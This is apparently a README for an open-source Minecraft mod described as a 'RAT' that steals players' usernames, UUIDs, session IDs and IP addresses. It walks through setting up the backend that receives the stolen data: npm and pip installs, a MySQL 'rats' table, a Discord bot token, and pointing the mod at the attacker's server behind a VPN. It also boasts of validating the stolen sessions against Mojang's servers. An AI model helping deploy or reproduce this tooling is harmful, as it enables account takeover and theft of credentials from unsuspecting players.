Like VirtueRAT, just shittier and open source.
- Grabs Username, UUID, SSID, IP
- Entirely Un-Nukable
- Extreme Customizability
- 1 Class / Minimal File Size
- An Express.js Backend Which Includes:
- Validation With Mojang Session Servers
- Ensures All JSON Fields Are Present
- Database
- MySQL
This guide will be for windows! if you are using linux figure it out
First, you'll need to install all the npm packages, python libraries and JDK 8
npm i express
npm i axios
npm i mysql2pip install mysql-connector-python
pip install py-cord
pip install requestsNext, you'll need to get MySQL, you can download it here!
Once you have it installed, you'll need to run these commands:
CREATE DATABASE rats;
USE rats;
CREATE TABLE rats (rid VARCHAR(255), webhook VARCHAR(255));To verify everything worked correctly, run this command:
SELECT * FROM rats;Then, set all the info in config.json to your MySQL info, it should look something like this:
"mysql": {
"host": "127.0.0.1",
"user": "root",
"password": "1234",
"database": "rats"
}If it responds with an empty table, everything worked fine!👍
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Visit Discord's Developer Portal If it takes you to a login screen, log into your Discord and revisit the page
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Click the "New Application" button on the top right of your screen, choose the name of the application, agree to the terms and click "Create".
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Click "Bot" on the left settings sidebar and click "Add bot" (you may rename it and set a profile picture for it if you'd like)
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Press "Reset Token" and "Yes, do it!", then copy the token by copying it manually or pressing the "Copy" button.
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Open the "config.json" file and add your bot's token to the "token" field
run the following commands
node app.js
python main.pyEdit the URL in the Minecraft mod, if you're hosting it on your own computer you need to use a vpn because you'll have to put your ip in the file.
You'll put the url like 139.56.41.06:3000 as the port for app is 3000 by default, you may change it if you'd like though.
If you want to host it on your computer, I'd suggest Mullvad VPN
If you want to set it up as a domain you'll have to figure that out

